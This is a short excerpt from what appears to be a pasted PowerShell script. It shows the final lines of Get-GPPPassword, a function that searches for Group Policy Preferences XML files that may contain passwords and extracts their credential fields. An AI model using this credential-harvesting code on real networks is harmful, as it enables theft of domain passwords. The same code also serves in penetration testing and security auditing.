  8598.         Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
  8599.  
  8600.         ForEach ($File in $XMLFiles) {
  8601.             $Result = (Get-GppInnerField $File.Fullname)
  8602.             $Result
  8603.         }
  8604.     }
  8605.  
  8606.     catch { Write-Error $Error[0] }
  8607. }
RAW Paste Data